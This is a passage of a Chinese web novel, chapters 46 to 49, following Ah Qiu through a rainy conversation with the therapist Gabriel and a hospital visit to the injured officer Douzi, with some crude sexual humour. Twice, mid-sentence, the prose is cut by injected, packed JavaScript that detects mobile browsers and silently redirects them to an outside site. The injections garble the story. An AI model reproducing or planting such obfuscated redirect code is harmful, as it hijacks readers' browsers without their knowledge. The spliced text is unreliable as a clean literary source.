用他动手啊?就他这么个小身板,打不过苏西、伤还没好,又要在阿邱的主场抢她功劳,阿邱感觉就像当插班老师的时候,明明熬夜备了课,第二天备课本却不翼而飞,没关系她照样讲,碰巧又遇上督学来检查,身后还跟着一个制服笔挺的豆子老师。督学发现她没带备课本,一口咬死她没备课,大吼大叫着要她去墙角罚站,让受到上天眷顾的豆子老师上去讲课,阿邱用背后的耳朵都听得出来,爱手艺老师就是带了备课本也不如邱老师讲得好,心中愤恨无处发泄,可是在没有她存在的师生间的欢声笑语中,她的开除通知已经下来了! 不得了哦,以身挡剑哦,大家的英雄哦!去死吧,用你来逞英雄!……但真死了就不好了,阿邱急忙追下去,手里捏一个有暴露身份风险的治愈魔法,就是给豆子疼出心理阴影也要当场给他救活喽。 这么多人看着呢,事已至此,啧,先摆出一副感谢他八辈祖宗的态度吧,免得天灵盖被指责声削去半截、露出粉红跳动的魔半脑,让新的“邱珊”还没出道就背了一身的骂名。 人半脑:以结果为导向,你确实在一成的死亡率中存活下来了。 那就在存活的前提下继续行动吧。不如这么想:她要是死了,伟大的双押三计划就没有第二个人知道了。就是为了双押三计划,阿邱生完气,回想着挠掉肿包的猫爪、急着去后厨端点心的脚步,还有吐着血沫拼命想止住她的眼泪、但并不知道自己每句话都发不出声音的高尚舌头……还没走回夜之窟,灵魂就已经被理性客观的人半脑抢占了高地,伴着再次袭来的雨水,“刷”的一声原谅了豆子警官。 强迫自己恢复神清气爽,在龙柏朋友的身边、案发现场的附近,她发现一个合情合理、然而实在出乎意料的身影—— 56. 第四十六章 背对着阿邱站在街口的,是一位符合大众想象的绅士之典范。原来是旧矿山镇的救世主、神乎其技的大调律师加百列呀!我以为刘德华呢。 阿邱还记得《今日林海》的随报传单是怎么介绍他的,挤出一个笑,上前搭话:“下午好呀加百列先生,你是来夜之窟办义诊的吗?” 回头看到她,加百列好像一点也不惊讶:“还没正式批下来呢,我先过来探探路。” 砸下来的雨点越来越大,阿邱捂着脑袋说:“今天可不是个探路的好天气啊。” 加百列无奈道:“也不知道为什么,在我的人生中,好天气和闲暇时间总是不能配套出现。” 说得好像老天专门记着他的名字、一见他有空就要伸手下来捉弄一番似的,真羡慕这些人莫名其妙又理所当然的主人翁意识啊。 已出道的救世主关心着在他眼前、不在他脚下的这条街道,听起来还有点悲天悯人呢:“刻板印象中,为了讨生活,只有走投无路才会选择这里的生活方式……可最近这段时间,我发现很多人都把别的事情看得比生命还重。” 也只有他这样的“典范”才被允许双脚离地、每句话都可以脱离“讨生活”,阿邱压住翻涌上来的情绪,保持微笑道:“你别说,跟某些事相比,生命也没有那么重要。” 加百列扬起眉毛,没有直接反驳她。他惦记着每个病患的韵律障碍,偶遇——可能吧(笑)——偶遇了阿邱,就当面跟她打听起了“情绪的拐杖”成效如何。 阿邱答非所问:“就还蛮奇怪的,我有事要找影先生的时候他总是不在家,他一不在家我就焦躁,你说,这样算不算是对外部世界的控制欲太强?” 被人不怀好意地抢了台词,加百列很有技巧地转回了第一个话题:“对邱小姐来说,什么东西会比生命还重要?” “那可太多了,就比如说……爱?” 两人一直淋着雨,谁都没有邀请对方找个避雨的地方坐下详谈,所以阿邱说得也很笼统。 天幕可能初步变成了深蓝色,夜之窟的住户没有在黄昏时点灯的习惯,加百列再次望进幽深的街道,就像在对一个熟人说话:“是啊,爱、勇气、名誉……人们终其一生都在追求看不见摸不着的东西,如果有幸能得到,还要想方设法把它们变成实体,镶嵌在自己的王冠上。” 阿邱假装没听懂,东拉西扯道:“对啊,所以人首先要拥有一顶王冠!” 加百列果然卡壳了:“咦?我好像不是在说这个……” “那不然要怎么变成实体嘛,没有王冠,这些东西都会溜走的,因为它们的不可控就体现在见人下菜碟上,一般人哪里留得住?” “不是这样的,你也可以选择把它们吃进肚里,用一生去消化……” “然后从肠子里拉出来熏人?” 加百列接不了话,阿邱知道自己有点过火了。为免当场被拉走去做那什么调谐律同,她暂停张牙舞爪,像一般理解中的聪明人一样反思起来:“我、我知道加百列先生是在说,那个什么,‘内化’,但我今天经历了一些事,发现这些东西还是适合吆喝出去,不适合拿来自我检讨,真的内化了它们的人一直在受伤、受人唾弃,有的被保护者还不识好歹,指不定心里怎么骂他们呢。” 加百列——要么他消息灵通,要么他开了天眼——精准地指出:“这可未必。邱小姐,看来你缺乏对异性的了解,事实上,男人骨子里都有骑士精神,为保护女人而死对我们来讲是一件很光荣的事,不论被保护的对象怎么想——就算打从心底希望我们躲远点,还要在葬礼上为这份莽撞与愚蠢唱赞歌——我们在作出选择的那一瞬间都是自我感觉良好的。” 谁又跟他“我们”上了?把不知所谓的豆子警官和太知所谓的加百列归为同类,对双方来说都是侮辱,阿邱拒绝进入他的语境,接着东拉西扯道:“那同性呢?同性我总了解吧?我有一个朋友,她有一个朋友……呃,对的,人际关系就是这样……我那个朋友的朋友,名字我记不清了,好像叫娜塔莉亚·库兹涅佐娃,她有一个伟大的计划,为了刺杀我朋友,成为了我朋友的朋友,很快计划失败了,她忘掉一切试图投海自杀,捞上来时肚子里的孩子已经死了,导致她拒绝‘比不上克洛诺斯’的我朋友继续施救,不久后死于迟发性溺水,一尸两命,简直就是又一场双尸案啊——加百列老师,你觉得是什么导致了这场双尸案?” 雨势渐大,两人站得够近,可阿邱被挑人眷顾的水幕阻挡了视线,看不清加百列的表情。 只有被上天唾弃的人才有资格犯社会新人的错,比如交浅言深,她拢圆了嘴巴道:“是王冠不在她自己头上!计划的制定者另有其人,献出两次生命的却是娜塔莉亚·库兹涅佐娃,我的朋友没有证据,没法制裁那孩子的生理父,日日从天黑哭到天明,只想着怎么把那个拥有王冠的人大卸八块,掏出他的肠子在娜塔莉亚·库兹涅佐娃的坟头上打个蝴蝶结、割下他的头颅挂在他老家的大门口、供每个前来观看阿瑞斯杯的游客瞻仰——这就是为什么我说王冠很重要。拥有王冠的人,下雨天可以不用出门,肚子饿了就派别人去禁猎区替他狩猎,事情败露后随意地一抛,方式是切断联络,因为高精尖的思想控制手段只被他们垄断,等那位死士存在的痕迹彻底消失,爱、勇气和名誉就会飞回来,镶嵌在他自己的王冠上。” 没有沉默和思考,加百列的回话速度带了有识之士的自信:“邱小姐,原来你对生死的理解已经到了这种程度,刚才是我唐突了。” 没见识的阿邱倒是沉默良久,等衣服湿透了,才笑嘻嘻地说:“没有马背上的弓箭手唐突。” 加百列的声音也在笑:“对了,偶尔放纵自己去看一场大众眼中‘低俗’的表演,属于主动寻求刺激,也有利于韵律和谐哦。” “是哦,低俗的东西就是为了帮一些欠教育的人确认性唤起机制是否还健在。” “的确,性也是很重要的,有些情况下,它跟生死同等重要。” “那背叛呢?” “背叛?好吧,背叛也是性的反面之一,不过在幻想中单方面构建的关系被破坏,不能用‘背叛’来形容哦。”加百列的语气像梦醒时分的视线一样逐渐聚焦,“如果你喜欢上次跟你一起来的那位先生,你应该大胆向他本人表达你的感受,只是躲在暗处观看他和别人交好、视其为背叛,别说韵律了,时间长了身体也会生病的。” “不要不要,生病就生病,我可拉不下脸做这种事。” “为了达成目标总要付出些代价嘛。” “可是目标完成之后人又不能马上死,是要我活着把脸丢尽吗?好麻烦……唉,直接嗝儿屁最不麻烦,麻烦事都是重要的事——所以好多事比死重要,这句话哪里不对了?” 在加百列的老巢,他一定没少用这种语气哄冥顽不化的儿童患者:“没有哪里不对,邱小姐,你对事物抱有一套自己的看法,不轻易为外界所撼动,这很好,我是真的被你说服了,看来是我的眼界需要拓宽了。” 不怕雨淋的除了他们,还有在管道会议室打牌的一群醉汉。 鹅笑绅士不在其列,加百列离开后,方圆五百米见不到一个绅士。那些地痞无赖在雨中玩得更刺 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正想着,今天的烟头从天而降。每当阿邱从终止式回到夜之窟,路过坐满了男而不绅士的管道会议室时,他们的脚底下是镂空的,于是能在第一时间把烟头和口哨声朝她丢来。 过去,阿邱为了息事宁人、确保夜之窟的年度死亡人口不超过预期,总是贴着墙跟快步躲过去,回房间再骂骂咧咧缝补裙子上的窟窿——已为陈迹!现在可不一样了,阿邱是很酷的淑女,并且很机敏,就在安东尼奥的烟头脱手飞出时,烟头调转方向找到了更恰当的目的地,也就是起点,烫得那醉汉“哎哟”一叫,龇牙咧嘴甩开手,烟头掉在那桌扑克牌上,在小丑牌上面烫出一个洞,很快被雨水浇熄了。 令人身心愉悦的连锁反应!阿邱觉得她找对了路,在今天剩下的时间里,心态始终是较为积极的——除了噩梦中的豆子没有忘记狗腿子的自荐,大笔一划,还把欠款翻倍成了六个金币。 是她多虑了吗?不,正相反。 豆子躺在医院的病床上,听着窗外的冷雨思考:怎么办,邱小姐非要当他的狗腿子,这件事完全不能往低俗的方向理解、正经的更不行,豆子担心的是,要是警官不同意,市民邱小姐哭着收拾东西离开旧矿山镇,半路上出意外死掉了,知道今天他俩这段接触的人肯定有话说——实在拒绝不了,怎么都拒绝不了。 也罢,坦然接受吧。某种程度上,至少满足了他的弃犬幻想。 什么叫“弃犬幻想”?在他不用躲避追杀、但仍然被噩梦纠缠的那段时间,豆子经常用这样的一段白日梦哄自己睡觉:暴雨的夜晚,他从树洞里找到一窝生下来就开始流浪、然而个个都胖嘟嘟的小奶狗,有的全白,有的黑白相间,有的是纯粹的煤球,带回家里按含墨量给他们排好队,一一洗过澡、喂过奶,终于把自己累病了,倒在床上发高烧,得到救治的小狗们叼着各自的毛毯、玩具、亲口啃成胶囊形状的狗饼干,泪汪汪地凑上来关心他,但小狗不知道怎么治疗人,一个个急得团团转,尾巴摇得快要升天,在一阵悦耳的“吱吱”声中总算把自己转晕了,胖嘟嘟地一个接一个落在软绵绵的床铺上,均匀地围着豆子睡着了,毛发膨起来,满室小狗味,此起彼伏地呼——吸——呼——吸——一点也不知道第二天醒来主人已经死透了……把自己想象成这样一具幸福的遗体,豆子就难过但安心地睡着了。 回想邱小姐面对平面鸫的那副痴女样……人应该充分利用送上门来的巧合,否则就是暴殄天物,是有这一说吧?万一它蕴含了某种必然呢? 综上,邱小姐或许天生就适合做他的狗。 麻醉的药劲儿已经过了,偏头看看其他队员“好心”搬来病房的文件山,豆子产生了一个邪门的念头:要不就,遂了她的愿? 57. 第四十七章 恶意 一夜过去,阿邱的气全消了。 心平气和地值完班、锁上报刊亭、送走库奇的主治医生,她抱着一包东西就要往镇医院赶。 ……真的心平气和吗?有人问。说实话,昨天下午被这个邱小姐突然轰炸了一回,轮值的那位旁白现在还在ICU吸氧,克洛诺斯没说错,有的人就连心理活动都能伪装,所以哪位神人能看透她在想什么我就算她厉害。没有神人?那先按以往的惯例揣摩着吧,参不透的。 按以往的惯例去揣摩,阿邱这时正在替他人着想:终止式的队医被什么事耽搁在了路上,游医队却有另外的渠道,听说豆子警官的清创和缝合就是由一位刚从不冻港上来的大拿操刀的,可保伤愈后皮肤比伤前还要白皙透亮;正骨化瘀的也是她,顺手还帮人调整了脊柱侧弯的沉疴。一条好消息:大赛期间,这个药到病除的小分队会一直驻扎在镇医院,虽说耽搁了队医的那件事让进镇的游客减少了,看病的镇民却趁势激增。 ——豆子警官的存活状况倒不用担心,但昨天对他来说是很疼的一天,他还要在乱糟糟的医院里休养一段时日,没人陪护可怎么行! 替别人制造了需求,阿邱站起来就要行动。起初想着带吃的去探病,却在选择上犯了难:果篮和罐头太敷衍,从补充营养的角度出发,她应当打包一顿大餐过去,但她又不知道豆子警官有什么忌口,要是好心办了坏事、害得伤员过敏可就得不偿失了——考虑这个好像为时过早,但倒霉蛋如她总习惯作最坏的打算。 烦恼了好一会,她把目光瞥向小木桌上卖剩下的报刊杂志,心里有了主意。 与此同时,豆子顶着两个黑眼圈,正窝在病床上看报。 这是因为,说服自己把生活节奏调整成“我要有狗了”的模式,他恢复了一些干劲,干劲又不利于睡眠,索性掀被子下床、拧亮矿油灯,兢兢业业地加起班来。 把文件冰山分门别类,摘出适合丢给邱小姐这个初心者的——更重要的是,有些机密不能让编外人员知道。这项工作颇费了一番功夫,算起来,比他独自处理完耗费的时间还要多,分好后天都亮了,人也快没了。 如果是在收养程序较为成熟的世界,比如我们的位面,一般像这时候,小狗早就抱去打疫苗了;但在洱鸾大陆,豆子身心俱疲地倒回床上,这时才想起盘点邱小姐的客观条件跟“狗腿子”有几成契合度: 塔尔塔洛斯出身;会变色,有奇特的傍身技能;不擅长逃跑,非常好逮;没有审美,是个傻子;情绪不稳定;鼻子还不如他灵。 ……完全不合格。 至少证明了狗腿子不是谁都能干的,条件比“给个兼职”苛刻多了。现阶段能让她干什么呢?豆子怀疑扔个飞盘出去她都不知道捡,结合她的兼职,难不成让她负责叼报纸回来?可是终止式订的报刊每天都随信函送来,他们的指挥所也不包含一个离大门很远、足够小狗在上面来回奔跑的花园…… 那就训吧。 他一点也不想要狗腿子,一点也不;他也不关心邱小姐的事,只要她别给克洛诺斯添麻烦就谢天谢地了。所以,他要在她不可避免地贴过来时另外给自己找点乐子——豆子此刻觉得他的心比眼圈还要黑,满怀恶意、但兴致勃勃地构想着:首先从最简单的开始,约定好“握手”、“坐下”这类口头指令;接着因材施教,逐步让邱小姐掌握如何合理地判断形势、机敏地使用缴械术,下次再有剑向她刺来时,她的两条木头腿就知道扛着她逃命了。 实在训不好,那就只能松开狗链放她回旷野,他相信到那时候,邱小姐早已对狗腿子的工作失去了兴趣;只要受训时间够长,笔记本上的平面男恐怕都换了人。毕竟情绪不稳定、注意力易分散大概率是先天性的,神人来了都难救。 像是为了证明这点,邱小姐进入病房时,如果豆子没看错的话,她的蓝色好像又比昨天变淡了一点。 不是因为雨后阳光更充足了,是她真的变淡了,色相也从凿不冻的古冰层微妙地偏向了薰衣草的紫色,有些深居简出的人家招待贵客时,会铺上这种颜色的桌布。 为探寻“狂欢之种”的真相,豆子这些年没少看各大出版社的药典,根据表征,他很难不联想起静脉和动脉的对比图例——变色现象的秘密,难道就藏在邱小姐的血管中? ———— ———— 第一,为了让豆子警官的身体早日恢复健康、尽快离开人员混杂的医院,阿邱准备了一大壶热水。这世上不会还有人对白开水过敏吧……确实也帮她省下了一笔订购大餐的费用。 第二,为了让豆子警官的精神早日恢复健康、尽快投入到工作中,忘了什么腿子、蹄髈的,阿邱抱着的那包东西是一大摞从报刊亭顺来的杂志。 第三,为了保证豆子警官的安全,在他打盹时,阿邱用狼狗的眼神盯着进进出出的人,防止有人趁乱摸进来,往他的留置针里注射毒药。 她才不知道豆子现在最警惕的人就是她,只道这位警官深受绅士文化的荼毒,病房里有客就绝不能自顾自地睡着,害得她也不得不强打精神回以淑女礼仪,绝不能把散发着雨水气息的恶意写在脸上。 豆子在腰后加了第三个枕头,尽力找着话题:“你是几岁开始萌生原初创造力的?” 这话题还不如不找。经不起一点打探的阿邱流着冷汗反问:“您呢?” 怹想了想,嘴里竟在口算:“……加上……那应该是八岁?” 这还能算出来的吗?为表谦卑,阿邱比他说晚了一岁:“我九岁。” 豆子满脸不信,眼睛瞟向她的双手。 “在那之前有没有过特殊的记忆?” 阿邱疑惑:“请问什么叫特殊的记忆?” “就是异于常人的记忆,比方说,撒开四条腿在旷野上奔跑。” “?” 阿邱知道自己内心阴暗,在光明正大的豆子警官面前,再疑惑也应该避免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115095|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出虚词含量不超过80%的话,她可不能让那个专司嘲笑的交响乐团弄清楚到底该对谁的大红脸吹拉弹打。以己度人,豆子的内心显而易见地更为澄澈,也没有在打别的算盘——看起来不是这样的,虽然,但人也不能总是相信亲眼所见……对吧。 “克洛诺斯队长去哪了?”她问,“你受了这么重的伤,怎么都没人过来探望你?上午有人来过吗?其他队员呢?” “在舞台布景板上。” “……啥?!” “你队长奉命调查剧场的案子,私底下还要跑一趟‘不冻港小船屋’,要是森林戍卫队的人手不够,下午还要承担一部分的审问工作。” “这样啊,大人物都有别的事要忙……没关系,我来陪着你!” 阿邱把同情之手搭在了他的手腕上。豆子眯了眯眼,看向她身旁的文件冰山。 “这些全是你今天的任务吗?”阿邱也看过去,发现文件冰山不知何时生了一座文件小冰山,手指仿佛受到寒气的感召般伸过去:“我来帮你分担!” “小的那堆你都可以做。” “耶!——诶?” 什么意思,都安排好了,就等着她主动提起来吗? ……但也并不影响豆子在澄澈较量上取得胜利,就像黄昏够黑,却不如黎明黑。阿邱明白过来,一时的判断错误会使人长久地屈居人下,这才是救世主弧光级别的经验教训。 在谈话的暂停中双脚不能离地太久,阿邱抽抽鼻子落回地板上,张口就管豆子要笔:“好的,我现在就开干……” “你带回去做,做仔细些,下周交给我。” “诶?——耶!……诶?” 不对,现在也不是“耶”的场合,谁还记得一分钟前,阿邱根本就没有拖延工作的需求! 豆子观察着她的表情:“一周还嫌久?” “不会不会,既然不是紧急任务,罗宾警官现在最该做的就是好好休养,我这个编外人员也不能不看眼色在你面前工作,是吧!” “体贴放在心里就好,特地说出口是为了让我愧疚吗?” “什么?没有没有,对不起我不是故意的……” 寒暄到这里就差不多了,双方都没提到那场表演,阿邱暗暗松口气,递上了她的慰问品。 豆子接过暖水壶和杂志,阿邱挥着手说:“随便看随便看,库奇先生最近只关注他的身体状况,应该不会发现的。” “‘应该不会’?”豆子忽然严厉起来,“没确认过后果就敢贸然行动,你是活腻了吗?” 阿邱缩缩脖子。凶什么凶,这是伤员该有的气势吗! “对不起我下次再也不敢了……” 豆子瞪她一眼,随手抽出一本杂志翻开:“包装你自己保管好,回去给我全部放回原位。” “知道了——等等!” 看清了那本杂志的封面,阿邱惊呼一声,劈手夺下:“你不能看这个!” 58. 第四十八章 忐忑 钻石右手横空出世!豆子看都不用看就精准抽出了一本低俗杂志,就连阿邱都没注意到这玩意儿夹带进来了,当场吓晕,在准退休演员舔舐颈动脉的场景闪回中赶忙抢过来——开玩笑,伤员看得了这个?也太活血化瘀了!该化的大淤都让那位大拿化掉了,就算还剩一对黑眼圈,一本低俗杂志对它们来说也是太过刚猛了,药效溢出反受其害,本来就欠人家的,可不能让人当场血崩啊!所以她涨红了脸也坚决要没收。 为防豆子警官惦记,阿邱把杂志塞到披肩底下,搬着凳子退到两个床位外,远远看他无奈地——看见没他还真无奈了,未雨绸缪是对的吧——重新拣出一本自然科学杂志,这才放下心来,侧过身,翻开杂志自己开始看。 这本杂志是同一子类卖的最好的品牌之一,幸运的是,翻翻目录,她最喜欢的专栏作者Dr.D.P又有新作刊登啦! 说起Dr.D.P,这位不知性别的老师也是位神人,业界无人不知其名,可是谁都没见过ta的真容;主要成就是在低俗杂志这个峰与谷与老痰的全男行业中,仅靠一己之力开辟了一块女性向领域,最擅长的写作题材是……委婉地说,“阿瑞斯杯选手试用报告”。 过去的低俗杂志固定受众只对女“老师”的风采赋予期待,可自从Dr.D.P入场,封面上便胆大包天地出现了与知名选手强相关、匿了名等于没匿的总结性特征,杂志销量一夜暴增,铺天盖地的骂声和真金白银一起袭来,据说还凭此救活了一个濒临倒闭的工作室——多亏老板力排众议刊登了Dr.D.P的第一篇稿件,小爆过一回,又很有前瞻性地跟ta谈下了所有作品首发权,渐渐地开了专栏、升了头版、出版了集录,终成一段互相成就的佳话。只是在那段爬坡期损失了一些原始读者——会在打牌、喝酒路上踢碎投币木箱、顺走杂志的那种;办公室大门还被抹了整整一年的狗屎——什么品种的狗一整年都这么通畅啊;中间还有Dr.D.P用枪手、剽窃他人稿件等谣言,带来了一定范围的地震——造谣者也不想想低俗杂志业的整体生态是怎样的,收到其他老牌工作室的法院传票后就销声匿迹了。 事实证明,只有把大盘转向粉丝经济,生意才能蒸蒸日上。阿邱当然不信Dr.D.P笔下的每个故事都是真的,又不是没上过女囚们的生理课,武力才不决定尺寸,再说Dr.D.P都出版两本作品集了,世上哪来那么多16以上的……但ta从来只说选手的好话,这也可以理解啦,否则——想想那些疯狂的粉丝吧,惹急了他们,真实身份被扒出、专栏跟着消失,将来谁还写官能小文章给女生看啊?Dr.D.P于是始终很谨慎,有个方法是偶尔也穿插着打点野食吃,避免可着阿瑞斯杯选手一个群体薅。 就比如今天这篇专栏的主人公,代称“长官”,Dr.D.P与他萍水相逢在车站,他很高、很瘦,是位高权重的公职人员,笑容却平易近人,但眼里是三分的不屑七分的冰冷;身上带了制式的迂腐,年纪却很轻,嘴唇比花瓣还软嫩。兄弟姐妹们,如果你以为这是个书呆子类型的,那你就大错特错了!上手约一回才知道,这小子表里不一啊!初见时夸赞了Dr.D.P的眼睛,为之联想到一个气氛很好的地点,马不停蹄奔赴过去,已经很有sense了对吧?反差感也动人心魄!点完酒水后,他忽然眉头一皱,切回工作模式:就在他和笔者谈笑风生时,有不轨之徒在暗处穿行,为了不破坏约会的气氛,他自信满满、好整以暇,把难题留给“五点左右会过来”的同僚们,一把抓住笔者的手腕,迈着燃油大概率是酒神酒的长腿换了地方。 哎哟,光是文字描述怎么够,Dr.D.P已被这个龟裂系美男帅晕咯!什么叫“龟裂系”?第一次看到这个词的兄弟姐妹先不要困惑,有些人非但能用魅力掩盖病症,当光芒足够强大时,病症反而还会成为他特殊的魅力点。 …… 看到这一句,阿邱“耶嘿嘿”的笑容僵在了唇边。 迂腐、软嫩,还长官……龟裂系美男……龟裂系…… 不是吧?! Dr.D.P常常美化,但从不写空话;配得上这个名号的,整个洱鸾大陆不是只有一个人吗!! ———— ———— 放下杂志,豆子眼看着邱小姐在病房里转来转去,裙摆上下翻飞,运动轨迹的复杂程度堪比被喷了杀虫剂的大扑棱蛾子。 怎么看个低俗杂志还把她看焦虑了? 发现豆子也在跟着她转头,邱小姐猛一刹车,慌里慌张地解释:“没、没事的,我只是突然想起人到了二十五岁就会停止分泌一种激素……对,我是在年龄焦虑!” 她是真的很不擅长撒谎。豆子没拆穿,顺着她说:“这不是还有五年吗,趁这五年把想做的事都做完就是了。” 邱小姐点头如捣蒜:“对对对,谢谢你缓解我的焦虑。” 她回到两张床外的凳子上捡回披肩,往身上披的时候力度太大,被自己扇了一耳光:“罗宾警官你保重,祝你早日康复,我有事先走了……” 豆子指了指杂志和出生没满一天的文件小冰山:“你落东西了。” 邱小姐颤抖的双手已经握在门把手上了:“什么?哦哦,送给你生炉子吧……” 豆子比划了一下秘技·杂志之耳光,想想这个距离可能会导致出血,便只是沉声道:“就算你现在空着手从医院跑路,通往外界的车站从昨天起都加强了警戒,你害怕的那个人一样会追上你。” 邱小姐一蹦三尺高:“你你你你怎么知道的?读心术?读心术?!” “没错,就是塔尔塔洛斯的臭狱警。”一分钟后,她挂着一滴泪,坐在床边老实交代了,“他怎么会来这里的?谁——谁派他来的?我知道我现在逃跑就是浪费了这段时间的努力,但如果他真是来抓我的,我就一点办法都没有了……真会挑时候啊王八蛋白癜风!没有说所有白癜风患者都是王八蛋的意思……” 豆子叹口气:“塔尔塔洛斯近期发布了你的通缉令吗?” “好像没有……” “希孚里亚市政厅给你出具过刑满释放证明吗?” 邱小姐迅速从胸口摸出黑卡:“有啊,就是它了!” “这几天你收到过撤回通行证的官方文件吗?” “那是什么?我从没见过——” “那就不是来抓你的。”豆子抖了抖大开本的自然杂志,气定神闲得仿佛一个最小的重孙都考上了大学院的退休干部。 这三项证据个个都称得上铿锵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123745|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有力,阿邱恢复了一些理智,但双腿还在打抖:“你你、你说他来旧矿山镇是想干嘛?” “看比赛呗,还能是什么。” 阿邱一遍一遍地怀疑:“顺手逮捕我一下?果然他就是来逮我的……” 豆子一遍一遍地重复:“你不犯事就不会被逮捕。” 阿邱一听,急忙抢走豆子手上的杂志,跟文件小冰山一并打包起来,哆哆嗦嗦地给这块即将撑破的布打结:“我现在就还回去!” 她想了想,有点可怜地说:“罗宾警官,我可不可以支个小床在你病房里住下来?我上午在工作,下午在陪护,一直到晚上都抽不开身,他总不能闯进医院来抓我吧?” “可以啊,你不嫌吵的话。” 他这么一说,阿邱忽然想起她的初心就是要早日从医院救出豆子,自己也搬进来了算什么事?于是否决了这个提案。 真想挖个地堡躲一躲啊…… 或者把豆子警官抬回淡猫俱乐部、镇在她的房间里?要是野狼来了,阿邱也不知道行走都困难的豆子能起到一个什么作用,但她确实需要一个人反复向她保证:“没有人会来逮捕你的。” 这主意不错,既不损人又利了己,问题是怎么向他提?阿邱眼里转着两盘蚊香,听豆子对谁说了句“随便坐吧”,浑浑噩噩地抬头一看,原来是第二位探病者到场了。 露娜放下果篮和罐头,瞥一眼混沌态的阿邱,问豆子:“你怎么样?” 阿邱一瞬间清醒过来。暧昧期的孤男寡女共处一室,她才不要当那个多余的人,“刷”地站起身,抱着那包东西就要开溜:“我先告辞了!” 她想好了,她从今天开始要抱着一把菜刀睡觉,等豆子出院了,她就把床和小鸭子搬到终止式的指挥所,厨房也行…… “站住……咳。”豆子从三个枕头上艰难地支起身:“游医队的奥菲特女士跟我问起你。” 阿邱又是一个急刹车:“问我?” 豆子看了眼自己的胸口,阿邱立即看懂了他的暗示,比紧张还要紧张:“……你怎么跟她说的?” “我说我本来也没伤得那么夸张。” 走出医院时阿邱还在想,豆子特地把这件事说出来,是为了得到她的感谢吗?照理讲,从始至终就只有阿邱一个人抱有阴暗的想法,今天阳光很明媚,外部世界也应该统一起来,所以没有这种可能…… 镇医院广场,干涸的喷泉边,妮莎快活地踢着一只崭新的皮球,阿蒂提坐在长椅上看着她,脸上挂着难得的笑容。 姐俩现在都能出来活动啦?看到这一幕的阿邱心里很高兴,可她实在没脸再见阿蒂提,便躲到一棵树下偷偷看她们。 这时有个中等身材的男人走上去,用手接下妮莎的球,冲她笑笑,又抛远了。妮莎撒开腿,像精力旺盛的小狗一样追了上去,那男人看着小女孩跑远,一回头,走向了长椅上的大女孩。 阿蒂提跟那男人聊了几句,两人看起来心情都不错。阿邱一手抱文件、一手扶树干,死死地盯着他们——并不是在吃干醋,她只是越看越觉得那男人眼熟。 等妮莎捡回球扑到姐姐身上,她猛地回忆起来:对了,前几天才在咯吱作响的长廊上见过的——那人不是加百列的助手嘛! 59. 第四十九章 惨败 毕竟事发时就坐在对方身边,豆子看到露娜、露娜看到豆子,两颗脑袋都不受控制地想起了那一圈形态各异的“教具”,相对坐着发了好一会愣,最后由较为健康的那位冲破本能,开始讲正事。 “下午的第三场审问由克洛诺斯队长主持,他抽不开身,就派我来看看你的情况。” “想也知道。”尽搞些多余的操作。 “你们终止式别的不说,队员之间的默契还是可圈可点的。”露娜轻笑,“队长都不用说话,副队长就知道该扇掉受审者的哪颗牙。” “那是因为没人听得懂他的话。所以,审出什么了吗?” “动机是复仇。”露娜翘起二郎腿,郁闷地仰靠在椅背上,“他们都是三日极寒地狱的受害者遗属,要向神殿戍卫队、尤其是冰川戍卫队十二年前的情报垄断和无所作为复仇。” “这么巧?遗属全都是从小修习体术的成年男性?” “也许是遗属中有能力的那一群为了一个共同的目标纠集起来呢?” “你们准备就按这个说法报上去?” “不然怎么办,要我们实话实说?‘上头有贼,所以到处都是贼’?” 森林戍卫队心情不好,笑容就转移到了豆子脸上。堂叔作乱、侄女受罪,如果万事都能形成这种闭环,大家过日子也能舒坦些。 他坏心眼地提议:“加百列是顾问调律师啊?他很有能力,我亲眼见过的,你们搞非言语拷问之余,可以顺道在他那打一针致幻的东西消除压力。” “压力?如果身高决定神经的总长度,我可没有这方面的烦恼。”露娜傲然道:“何况还是为了这种小事。我最敬佩的一个人常说,干这行就是要趁早克服良心和同理心。” “她叫你克服你就克服?你没有自己的脑子吗?” “那可不,我早把脑子上交给十字城邦了,你现在还能跟我嘚瑟,过不了多久你也会变得跟我一样的。” “……谢谢你的祝福?” “跪下就免了。还有这个。” 露娜挑起眉,指了指自己的嘴。海伦曾评价过,得意脸是露娜最鲜妍的时候,此刻她的目光确实也比窗外的太阳还要亮:“日后你想找我算账尽管来。” “谢了,我没兴趣。” “随你吧。” 本来还觉得这人舍命保护弱小值得深交一下,现在看来,果然还是北城猴子味的侵蚀更深,露娜收起了那一瞬的心思——感受到拒绝后才意识到的心思。刺猬型人格常常把他人的拒绝升格成冒犯,接着就会分出两条路径:感受力强的自信者予以当面回击,感受力弱的卑微者则陷入永无止境的内耗。 不同于那些没有刺,或只有一些虚构的、臆想出的、靠倒计时三秒拖延的刺的人,显然是前者的刺猬露娜进一步伸出她的刺:“少在这里拿乔,放心好了,我可看不上身高还不到我肩膀的来历不明的侏儒男。” 感受到货真价实的冒犯,豆子才以冒犯回击:“那您恐怕一生都很难看上任何人了,除非家里安面镜子。” 这是一种难听又宽泛的说法,从异性口中听到这种话,当事人往往不知该从哪个具体的缺点展开自我攻击,内耗便被稀释了……想到这里,露娜辱骂自己的理性:狗屎,那我还得感谢他不成? 